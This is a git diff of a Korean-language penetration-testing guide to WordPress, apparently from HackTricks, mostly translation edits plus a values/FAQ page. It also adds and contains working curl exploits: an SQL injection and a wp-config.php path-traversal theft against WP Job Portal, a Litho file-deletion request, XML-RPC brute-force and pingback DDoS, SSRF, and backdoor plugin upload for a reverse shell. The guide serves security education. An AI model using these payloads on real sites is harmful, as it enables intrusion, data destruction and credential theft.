diff --git a/src/network-services-pentesting/pentesting-web/wordpress.md b/src/network-services-pentesting/pentesting-web/wordpress.md index bd0f47b9e..0c765d40f 100644 --- a/src/network-services-pentesting/pentesting-web/wordpress.md +++ b/src/network-services-pentesting/pentesting-web/wordpress.md @@ -5,7 +5,7 @@ ## 기본 정보 - **업로드된** 파일은 다음 위치에 있습니다: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt` -- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다.** 따라서 RCE를 얻기 위해 테마의 php를 변경하면 해당 경로를 사용할 가능성이 높습니다. 예를 들어: **테마 twentytwelve**를 사용하면 **404.php** 파일에 **접근**할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) +- **테마 파일은 /wp-content/themes/에서 찾을 수 있습니다.** 따라서 RCE를 얻기 위해 테마의 php를 변경하면 해당 경로를 사용할 것입니다. 예를 들어: **테마 twentytwelve**를 사용하면 **404.php** 파일에 **접근**할 수 있습니다: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) - **또 다른 유용한 URL은:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php) @@ -15,8 +15,8 @@ ### **주요 WordPress 파일** - `index.php` -- `license.txt`는 설치된 WordPress 버전과 같은 유용한 정보를 포함합니다. -- `wp-activate.php`는 새 WordPress 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다. +- `license.txt`는 설치된 WordPress의 버전과 같은 유용한 정보를 포함합니다. +- `wp-activate.php`는 새로운 WordPress 사이트를 설정할 때 이메일 활성화 프로세스에 사용됩니다. - 로그인 폴더(숨기기 위해 이름이 변경될 수 있음): - `/wp-admin/login.php` - `/wp-admin/wp-login.php` @@ -26,7 +26,7 @@ - `wp-content` 폴더는 플러그인과 테마가 저장되는 주요 디렉토리입니다. - `wp-content/uploads/`는 플랫폼에 업로드된 모든 파일이 저장되는 디렉토리입니다. - `wp-includes/`는 인증서, 글꼴, JavaScript 파일 및 위젯과 같은 핵심 파일이 저장되는 디렉토리입니다. -- `wp-sitemap.xml`은 WordPress 버전 5.5 이상에서 모든 공개 게시물 및 공개 쿼리 가능한 게시물 유형과 분류법이 포함된 사이트맵 XML 파일을 생성합니다. +- `wp-sitemap.xml` WordPress 버전 5.5 이상에서 WordPress는 모든 공개 게시물 및 공개 쿼리 가능한 게시물 유형과 분류법이 포함된 사이트맵 XML 파일을 생성합니다. **포스트 익스플로잇** @@ -62,8 +62,6 @@ curl https://victim.com/ | grep 'content="WordPress' - JavaScript 파일 -![](<../../images/image (524).png>) - ### 플러그인 가져오기 ```bash curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 @@ -77,21 +75,21 @@ curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-conten curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2 ``` -## 능동적 열거 +## Active enumeration -### 플러그인 및 테마 +### Plugins and Themes -모든 플러그인과 테마를 찾는 것은 아마 불가능할 것입니다. 모든 것을 발견하기 위해서는 **플러그인 및 테마 목록을 능동적으로 브루트 포스해야** 합니다(다행히도 이러한 목록을 포함하는 자동화 도구가 있습니다). +모든 Plugins와 Themes를 찾는 것은 아마 불가능할 것입니다. 모든 것을 발견하기 위해서는 **Plugins와 Themes 목록을 능동적으로 Brute Force해야 합니다** (다행히도 이러한 목록을 포함하는 자동화 도구가 있습니다). -### 사용자 +### Users -- **ID 브루트:** 사용자 ID를 브루트 포스하여 WordPress 사이트에서 유효한 사용자를 얻습니다: +- **ID Brute:** Brute Forcing 사용자 ID를 통해 WordPress 사이트에서 유효한 사용자를 얻습니다: ```bash curl -s -I -X GET http://blog.example.com/?author=1 ``` 응답이 **200** 또는 **30X**인 경우, id가 **유효**하다는 의미입니다. 응답이 **400**인 경우, id가 **유효하지** 않다는 의미입니다. -- **wp-json:** 사용자에 대한 정보를 쿼리하여 얻으려고 시도할 수 있습니다: +- **wp-json:** 사용자에 대한 정보를 쿼리하여 얻으려고 할 수도 있습니다: ```bash curl http://blog.example.com/wp-json/wp/v2/users ``` @@ -107,7 +105,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ### XML-RPC -`xml-rpc.php`가 활성화되어 있으면 자격 증명 무차별 대입 공격을 수행하거나 다른 리소스에 대한 DoS 공격을 시작하는 데 사용할 수 있습니다. (예를 들어 [이것을 사용하여 이 프로세스를 자동화할 수 있습니다](https://github.com/relarizky/wpxploit)). +`xml-rpc.php`가 활성화되어 있으면 자격 증명 무차별 대입 공격을 수행하거나 다른 리소스에 대한 DoS 공격을 시작하는 데 사용할 수 있습니다. (예를 들어 [이것을 사용하여](https://github.com/relarizky/wpxploit) 이 프로세스를 자동화할 수 있습니다). 활성화되어 있는지 확인하려면 _**/xmlrpc.php**_에 접근하고 이 요청을 보내십시오: @@ -120,9 +118,9 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL ``` ![](https://h3llwings.files.wordpress.com/2019/01/list-of-functions.png?w=656) -**자격 증명 무차별 대입** +**자격 증명 브루트포스** -**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 무차별 대입하는 데 사용할 수 있는 몇 가지 방법입니다. 이 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다: +**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 브루트포스하는 데 사용할 수 있는 몇 가지 방법입니다. 이 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다: ```html wp.getUsersBlogs @@ -174,11 +172,11 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL **2FA 우회** -이 방법은 프로그램을 위한 것이며 인간을 위한 것이 아니므로 오래된 방식으로 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 진입점이 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다. +이 방법은 프로그램을 위한 것이며 인간을 위한 것이 아니므로 오래된 방식으로 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 출입구가 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다. **DDoS 또는 포트 스캐닝** -목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로 보낼 수 있습니다.\ +목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로 보내도록 할 수 있습니다.\ 이를 사용하여 **수천 개**의 Wordpress **사이트**에 **하나의 위치**에 **접근**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함) 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트도 지정할 수 있습니다). ```html @@ -217,7 +215,7 @@ Wp-Cron을 비활성화하고 호스트 내에서 필요한 작업을 정기적 ### /wp-json/oembed/1.0/proxy - SSRF -_https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_에 접근해 보세요. 그러면 Worpress 사이트가 귀하에게 요청을 보낼 수 있습니다. +_try to access_ _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ _and the Worpress site may make a request to you._ 작동하지 않을 때의 응답은 다음과 같습니다: @@ -239,7 +237,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec ``` ## 비트를 덮어써서 접근하기 -실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 모든 워드프레스 파일의 1비트를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 위치 `5389`를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다. +실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 모든 워드프레스 파일의 1비트를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 `5389` 위치를 뒤집어 NOT (`!`) 연산을 NOP할 수 있었습니다. ```php if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) { return new WP_Error( @@ -285,29 +283,29 @@ to get a session. ![](<../../images/image (70).png>) -아마도 이것은 겉으로는 아무것도 하지 않을 것입니다. 하지만 미디어로 가면 업로드된 쉘을 볼 수 있습니다: +아마도 이것은 겉으로는 아무것도 하지 않을 것입니다. 하지만 미디어로 가면 업로드된 셸을 볼 수 있습니다: ![](<../../images/image (462).png>) -접속하면 리버스 쉘을 실행할 URL을 볼 수 있습니다: +접속하면 리버스 셸을 실행할 URL을 볼 수 있습니다: ![](<../../images/image (1006).png>) ### Uploading and activating malicious plugin -이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 웹 쉘을 얻는 것을 포함합니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다: +이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 웹 셸을 얻는 것입니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다: 1. **Plugin Acquisition**: 플러그인은 [**여기**](https://www.exploit-db.com/exploits/36374)와 같은 출처에서 얻습니다. 2. **Plugin Installation**: -- WordPress 대시보드로 이동한 후 `대시보드 > 플러그인 > 플러그인 업로드`로 갑니다. +- WordPress 대시보드로 이동한 후 `대시보드 > 플러그인 > 플러그인 업로드`로 이동합니다. - 다운로드한 플러그인의 zip 파일을 업로드합니다. 3. **Plugin Activation**: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다. 4. **Exploitation**: -- "reflex-gallery" 플러그인이 설치되고 활성화되면, 취약한 것으로 알려져 있어 악용할 수 있습니다. +- "reflex-gallery" 플러그인이 설치되고 활성화되면 취약한 것으로 알려져 있어 악용할 수 있습니다. - Metasploit 프레임워크는 이 취약점에 대한 익스플로잇을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행함으로써 meterpreter 세션을 설정하여 사이트에 대한 무단 접근을 허용합니다. - 이는 WordPress 사이트를 악용하는 많은 방법 중 하나일 뿐입니다. -내용에는 플러그인을 설치하고 활성화하는 WordPress 대시보드의 단계를 보여주는 시각적 도구가 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법이며 비윤리적이라는 점에 유의해야 합니다. 이 정보는 책임감 있게 사용해야 하며, 명시적인 허가가 있는 침투 테스트와 같은 합법적인 맥락에서만 사용해야 합니다. +내용에는 플러그인을 설치하고 활성화하는 WordPress 대시보드의 단계를 보여주는 시각적 보조 도구가 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법이며 비윤리적이라는 점에 유의해야 합니다. 이 정보는 책임감 있게 사용해야 하며, 명시적인 허가가 있는 침투 테스트와 같은 법적 맥락에서만 사용해야 합니다. **자세한 단계는 다음을 확인하세요:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/) @@ -315,7 +313,7 @@ to get a session. - [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_는 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 WordPress의 다른 중요한 취약점으로 상승시키기 위해 설계된 스크립트입니다. 자세한 내용은 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. **Wordpress Versions 6.X.X, 5.X.X 및 4.X.X를 지원하며 다음을 허용합니다:** - _**Privilege Escalation:**_ WordPress에 사용자를 생성합니다. -- _**(RCE) Custom Plugin (backdoor) Upload:**_ 사용자 정의 플러그인(백도어)을 WordPress에 업로드합니다. +- _**(RCE) Custom Plugin (backdoor) Upload:**_ WordPress에 사용자 정의 플러그인(백도어)을 업로드합니다. - _**(RCE) Built-In Plugin Edit:**_ WordPress의 내장 플러그인을 편집합니다. - _**(RCE) Built-In Theme Edit:**_ WordPress의 내장 테마를 편집합니다. - _**(Custom) Custom Exploits:**_ 서드파티 WordPress 플러그인/테마에 대한 사용자 정의 익스플로잇. @@ -334,13 +332,13 @@ mysql -u --password= -h localhost -e "use wordpress;UPDATE ### Attack Surface -워드프레스 플러그인이 기능을 어떻게 노출할 수 있는지를 아는 것은 그 기능에서 취약점을 찾는 데 중요합니다. 플러그인이 기능을 어떻게 노출할 수 있는지에 대한 내용은 다음의 글머리 기호와 [**이 블로그 포스트**](https://nowotarski.info/wordpress-nonce-authorization/)의 취약한 플러그인 예시에서 확인할 수 있습니다. +워드프레스 플러그인이 기능을 어떻게 노출할 수 있는지를 아는 것은 그 기능에서 취약점을 찾는 데 핵심입니다. 플러그인이 기능을 어떻게 노출할 수 있는지에 대한 내용은 다음의 글머리 기호와 [**이 블로그 포스트**](https://nowotarski.info/wordpress-nonce-authorization/)의 취약한 플러그인 예시에서 확인할 수 있습니다. - **`wp_ajax`** -플러그인이 사용자를 위해 기능을 노출할 수 있는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러는 논리, 권한 부여 또는 인증 버그를 포함할 수 있습니다. 게다가, 이러한 기능은 워드프레스 nonce의 존재에 기반하여 인증 및 권한 부여를 수행하는 경우가 잦습니다. **워드프레스 인스턴스에 인증된 모든 사용자가 이를 가질 수 있습니다** (역할에 관계없이). +플러그인이 사용자를 위해 기능을 노출할 수 있는 방법 중 하나는 AJAX 핸들러를 통해서입니다. 이러한 핸들러는 논리, 권한 부여 또는 인증 버그를 포함할 수 있습니다. 게다가, 이러한 기능은 워드프레스 nonce의 존재에 기반하여 인증 및 권한 부여를 수행하는 경우가 잦습니다. 이 nonce는 **워드프레스 인스턴스에 인증된 모든 사용자가 가질 수 있습니다** (역할에 관계없이). -다음은 플러그인에서 기능을 노출하는 데 사용할 수 있는 함수들입니다: +이들은 플러그인에서 기능을 노출하는 데 사용할 수 있는 함수입니다: ```php add_action( 'wp_ajax_action_name', array(&$this, 'function_name')); add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); @@ -348,7 +346,7 @@ add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name')); **`nopriv`의 사용은 엔드포인트를 모든 사용자(인증되지 않은 사용자 포함)가 접근할 수 있도록 만듭니다.** > [!CAUTION] -> 또한, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다. +> 게다가, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다. - **REST API** @@ -378,7 +376,7 @@ WordPress 테마와 플러그인은 종종 `wp_ajax_` 및 `wp_ajax_nopriv_` 훅 2. **CSRF nonce**가 `check_ajax_referer()` / `wp_verify_nonce()`로 검증되며, 및 3. **엄격한 입력 정화 / 검증**. -Litho 다목적 테마 (< 3.1)는 *Remove Font Family* 기능에서 이 3가지 제어를 잊어버리고 다음 코드를 포함하여 배포하게 되었습니다 (단순화됨): +Litho 다목적 테마 (< 3.1)는 *Remove Font Family* 기능에서 이 3가지 제어를 잊어버리고 다음 코드를 (단순화하여) 배포하게 되었습니다: ```php function litho_remove_font_family_action_data() { if ( empty( $_POST['fontfamily'] ) ) { @@ -401,11 +399,11 @@ add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove * **인증되지 않은 접근** – `wp_ajax_nopriv_` 훅이 등록되어 있습니다. * **논스 / 권한 확인 없음** – 모든 방문자가 엔드포인트에 접근할 수 있습니다. -* **경로 정제 없음** – 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일 시스템 경로에 연결되어, 고전적인 `../../` 탐색이 가능합니다. +* **경로 정리 없음** – 사용자 제어 `fontfamily` 문자열이 필터링 없이 파일 시스템 경로에 연결되어 있어 고전적인 `../../` 탐색이 가능합니다. #### 악용 -공격자는 단일 HTTP POST 요청을 보내어 **업로드 기본 디렉토리**(일반적으로 `/wp-content/uploads/`) 아래의 모든 파일이나 디렉토리를 삭제할 수 있습니다: +공격자는 단일 HTTP POST 요청을 보내어 **업로드 기본 디렉토리 아래의** 모든 파일이나 디렉토리를 삭제할 수 있습니다 (일반적으로 `/wp-content/uploads/`입니다). ```bash curl -X POST https://victim.com/wp-admin/admin-ajax.php \ -d 'action=litho_remove_font_family_action_data' \ @@ -417,7 +415,7 @@ curl -X POST https://victim.com/wp-admin/admin-ajax.php \ #### 탐지 체크리스트 -* 파일 시스템 헬퍼(`copy()`, `unlink()`, `$wp_filesystem->delete()` 등)를 호출하는 모든 `add_action( 'wp_ajax_nopriv_...')` 콜백. +* 파일 시스템 헬퍼(`copy()`, `unlink()`, `$wp_filesystem->delete()`, 등)를 호출하는 모든 `add_action( 'wp_ajax_nopriv_...')` 콜백. * 경로에 비위생적인 사용자 입력의 연결( `$_POST`, `$_GET`, `$_REQUEST`를 찾아보세요). * `check_ajax_referer()` 및 `current_user_can()`/`is_user_logged_in()`의 부재. @@ -472,8 +470,65 @@ add_filter( 'auto_update_theme', '__return_true' ); - 무차별 대입 공격을 방지하기 위해 **로그인 시도 제한** - **`wp-admin.php`** 파일 이름 변경 및 내부 또는 특정 IP 주소에서만 접근 허용. -## 참조 +### 인증되지 않은 SQL 인젝션 (WP Job Portal <= 2.3.2) + +WP Job Portal 채용 플러그인은 궁극적으로 `modules/category/model.php::validateFormData()` 내에서 다음과 같은 취약한 코드를 실행하는 **savecategory** 작업을 노출했습니다: +```php +$category = WPJOBPORTALrequest::getVar('parentid'); +$inquery = ' '; +if ($category) { +$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗ +} +$query = "SELECT max(ordering)+1 AS maxordering FROM " +. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later +``` +이 스니펫에서 발생하는 문제: + +1. **비위생적인 사용자 입력** – `parentid`는 HTTP 요청에서 직접 가져옵니다. +2. **WHERE 절 내 문자열 연결** – `is_numeric()` / `esc_sql()` / 준비된 문이 없습니다. +3. **인증되지 않은 접근 가능성** – 작업이 `admin-post.php`를 통해 실행되지만, 유일한 검사는 **CSRF nonce**(`wp_verify_nonce()`)로, 모든 방문자가 `[wpjobportal_my_resumes]` 숏코드를 포함한 공개 페이지에서 이를 가져올 수 있습니다. + +#### 악용 + +1. 새 nonce 가져오기: +```bash +curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4 +``` +2. `parentid`를 악용하여 임의의 SQL 주입: +```bash +curl -X POST https://victim.com/wp-admin/admin-post.php \ +-d 'task=savecategory' \ +-d '_wpnonce=' \ +-d 'parentid=0 OR 1=1-- -' \ +-d 'cat_title=pwn' -d 'id=' +``` +응답은 주입된 쿼리의 결과를 공개하거나 데이터베이스를 변경하여 SQLi를 증명합니다. + + +### 인증되지 않은 임의 파일 다운로드 / 경로 탐색 (WP Job Portal <= 2.3.2) + +또 다른 작업, **downloadcustomfile**,은 방문자가 경로 탐색을 통해 **디스크의 모든 파일**을 다운로드할 수 있도록 허용했습니다. 취약한 싱크는 `modules/customfield/model.php::downloadCustomUploadedFile()`에 위치합니다: +```php +$file = $path . '/' . $file_name; +... +echo $wp_filesystem->get_contents($file); // raw file output +``` +`$file_name`은 공격자가 제어할 수 있으며 **정화 없이** 연결됩니다. 다시 말해, 유일한 차단 요소는 이력서 페이지에서 가져올 수 있는 **CSRF nonce**입니다. + +#### Exploitation +```bash +curl -G https://victim.com/wp-admin/admin-post.php \ +--data-urlencode 'task=downloadcustomfile' \ +--data-urlencode '_wpnonce=' \ +--data-urlencode 'upload_for=resume' \ +--data-urlencode 'entity_id=1' \ +--data-urlencode 'file_name=../../../wp-config.php' +``` +서버는 `wp-config.php`의 내용을 응답하여 DB 자격 증명 및 인증 키를 유출합니다. + +## References - [Litho 테마의 인증되지 않은 임의 파일 삭제 취약점](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) +- [WP Job Portal 플러그인에서 패치된 여러 가지 심각한 취약점](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index b245fb82e..4788ae0e8 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -7,14 +7,14 @@ > [!TIP] > 이것은 **HackTricks 프로젝트의 가치**입니다: > -> - **모든** 인터넷 사용자에게 **무료**로 **교육적 해킹** 리소스에 접근할 수 있도록 합니다. +> - **모든** 인터넷 사용자에게 **무료** **교육 해킹** 리소스에 대한 접근을 제공합니다. > - 해킹은 배우는 것이며, 배우는 것은 가능한 한 무료여야 합니다. -> - 이 책의 목적은 포괄적인 **교육 리소스**로서의 역할을 하는 것입니다. -> - **커뮤니티가 게시한** 멋진 **해킹** 기술을 **저장**하고 **원래의 저자**에게 모든 **크레딧**을 부여합니다. -> - **우리는 다른 사람에게서 크레딧을 원하지 않습니다**, 우리는 단지 모두를 위해 멋진 트릭을 저장하고 싶습니다. +> - 이 책의 목적은 포괄적인 **교육 리소스**로 기능하는 것입니다. +> - 커뮤니티가 게시한 멋진 **해킹** 기술을 **저장**하고 **원래 저자**에게 모든 **크레딧**을 부여합니다. +> - **우리는 다른 사람에게서 크레딧을 원하지 않습니다**, 우리는 단지 모두를 위한 멋진 트릭을 저장하고 싶습니다. > - 우리는 또한 HackTricks에서 **우리의 연구**를 작성합니다. > - 여러 경우에 우리는 기술의 중요한 부분에 대한 **요약을 HackTricks에 작성하고** 더 많은 세부정보를 위해 **원래 게시물을 방문하도록 독자를 권장할 것입니다**. -> - **책의 모든 해킹 기술을 정리하여 더 **접근 가능하게** 합니다. +> - 책의 모든 해킹 기술을 **조직화**하여 **더 접근 가능하게** 만듭니다. > - HackTricks 팀은 사람들이 **더 빠르게 배울 수 있도록** 콘텐츠를 **조직하는 데** 수천 시간을 무료로 헌신했습니다.
@@ -23,9 +23,9 @@ > [!TIP] > -> - **이 리소스에 대해 정말 감사합니다. 어떻게 감사할 수 있을까요?** +> - **이 리소스에 대해 정말 감사합니다, 어떻게 감사할 수 있을까요?** -HackTricks 팀이 이러한 모든 리소스를 공개적으로 모아준 것에 대해 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 언급하여 트윗으로 공개적으로 감사할 수 있습니다.\ +HackTricks 팀이 이러한 모든 리소스를 공개적으로 모아준 것에 대해 트윗에서 [**@hacktricks_live**](https://twitter.com/hacktricks_live)를 언급하여 공개적으로 감사할 수 있습니다.\ 특별히 감사한 마음이 있다면 [**여기에서 프로젝트를 후원할 수 있습니다**](https://github.com/sponsors/carlospolop).\ 그리고 **Github 프로젝트에 별을 주는 것을 잊지 마세요!** (아래 링크를 확인하세요). @@ -33,7 +33,7 @@ HackTricks 팀이 이러한 모든 리소스를 공개적으로 모아준 것에 > > - **프로젝트에 어떻게 기여할 수 있나요?** -커뮤니티와 **새로운 팁과 트릭을 공유하거나** 책에서 발견한 버그를 수정하여 **Pull Request**를 해당 Github 페이지에 보낼 수 있습니다: +커뮤니티와 새로운 팁과 트릭을 **공유하거나 책에서 발견한 버그를 수정**하여 해당 Github 페이지에 **Pull Request**를 보낼 수 있습니다: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) @@ -64,9 +64,9 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, > > - **내 블로그에 모든 HackTricks를 복사해도 되나요?** -**그렇지 않기를 바랍니다**. 이는 **누구에게도 도움이 되지 않을 것입니다**. 모든 **내용은 이미 공식 HackTricks 책에서 무료로 공개되어 있습니다**. +**그렇지 않기를 바랍니다**. 이는 **누구에게도 도움이 되지 않습니다**. 모든 **내용은 이미 공식 HackTricks 책에서 무료로 공개되어 있습니다**. -사라질까 걱정된다면, Github에서 포크하거나 다운로드하세요. 이미 무료입니다. +사라질까 두려우신가요? 그냥 GitHub에서 포크하거나 다운로드하세요. 이미 무료입니다. > [!WARNING] > @@ -74,35 +74,35 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, 첫 번째 **HackTricks** **가치는** **모든** 사람에게 **무료** 해킹 교육 자료를 제공하는 것입니다. HackTricks 팀은 이 콘텐츠를 제공하기 위해 **수천 시간을 헌신**했습니다. 다시 말해, **무료**입니다. -HackTricks 책이 **상업적 목적**을 위해 만들어졌다고 생각한다면, **완전히 잘못된** 것입니다. +HackTricks 책이 **상업적 목적**을 위해 만들어졌다고 생각하신다면, **완전히 잘못 알고 계십니다**. -우리는 후원자가 있습니다. 모든 콘텐츠가 무료이지만, 사람들이 원할 경우 **우리의 작업을 평가할 수 있는 가능성을 제공하고 싶기 때문**입니다. 따라서, 우리는 사람들이 [**Github 후원자**](https://github.com/sponsors/carlospolop)를 통해 HackTricks에 기부할 수 있는 옵션과 **관련 사이버 보안 회사들**이 HackTricks를 후원하고 **책에 광고를 게재할 수 있는 옵션**을 제공합니다. 이 **광고**는 항상 **가시적**이지만 **학습** 과정에 방해가 되지 않는 곳에 배치됩니다. +우리는 후원자가 있습니다. 모든 콘텐츠가 무료이지만, 사람들이 원할 경우 **우리의 작업을 감사할 수 있는 가능성을 제공하고 싶기 때문입니다**. 따라서 우리는 사람들이 [**Github 후원자**](https://github.com/sponsors/carlospolop)를 통해 HackTricks에 기부할 수 있는 옵션과 **관련 사이버 보안 회사들**이 HackTricks를 후원하고 **책에 광고를 게재할 수 있는 옵션**을 제공합니다. 이 **광고**는 항상 **가시적**이지만 **학습** 과정에 방해가 되지 않는 곳에 배치됩니다. -HackTricks는 HackTricks보다 훨씬 적은 콘텐츠를 가진 다른 블로그처럼 성가신 광고로 가득 차지 않을 것입니다. HackTricks는 상업적 목적을 위해 만들어지지 않았습니다. +HackTricks는 HackTricks보다 훨씬 적은 콘텐츠를 가진 다른 블로그처럼 성가신 광고로 가득 차지 않습니다. HackTricks는 상업적 목적을 위해 만들어지지 않았습니다. > [!CAUTION] > > - **내 블로그 게시물을 기반으로 한 HackTricks 페이지가 있지만 참조되지 않았다면 어떻게 해야 하나요?** -**죄송합니다. 이런 일이 발생해서는 안 되었습니다**. HackTricks 페이지의 링크와 귀하의 블로그 링크를 Github 이슈, Twitter, Discord 등을 통해 알려주시면 **확인하고 ASAP 추가하겠습니다**. +**죄송합니다. 이런 일이 발생해서는 안 됩니다**. GitHub 이슈, Twitter, Discord 등을 통해 HackTricks 페이지의 링크와 귀하의 블로그 링크를 알려주시면 **확인 후 ASAP 추가하겠습니다**. > [!CAUTION] > > - **내 블로그의 콘텐츠가 HackTricks에 있는데 거기 있기를 원하지 않으면 어떻게 해야 하나요?** -HackTricks에 귀하의 페이지 링크가 있는 것은 다음과 같은 이점이 있습니다: +HackTricks에 귀하의 페이지 링크가 있는 것은: - 귀하의 **SEO**를 개선합니다. - 콘텐츠가 **15개 이상의 언어로 번역**되어 더 많은 사람들이 이 콘텐츠에 접근할 수 있게 됩니다. -- **HackTricks는** 사람들이 **귀하의 페이지를 확인하도록 장려**합니다 (여러 사람들이 HackTricks에 자신의 페이지가 포함된 이후로 더 많은 방문을 받았다고 언급했습니다). +- **HackTricks는** 사람들이 **귀하의 페이지를 확인하도록 장려**합니다 (여러 사람들이 HackTricks에 자신의 페이지가 포함된 이후 더 많은 방문을 받았다고 언급했습니다). -그러나 여전히 귀하의 블로그 콘텐츠가 HackTricks에서 제거되기를 원하신다면, 알려주시면 **귀하의 블로그에 대한 모든 링크**와 그에 기반한 콘텐츠를 **확실히 제거하겠습니다**. +그러나 여전히 귀하의 블로그 콘텐츠가 HackTricks에서 제거되기를 원하신다면 알려주시면 **귀하의 블로그에 대한 모든 링크**와 그에 기반한 콘텐츠를 **확실히 제거하겠습니다**. > [!CAUTION] > > - **HackTricks에서 복사-붙여넣기된 콘텐츠를 발견하면 어떻게 해야 하나요?** -우리는 항상 **원래 저자에게 모든 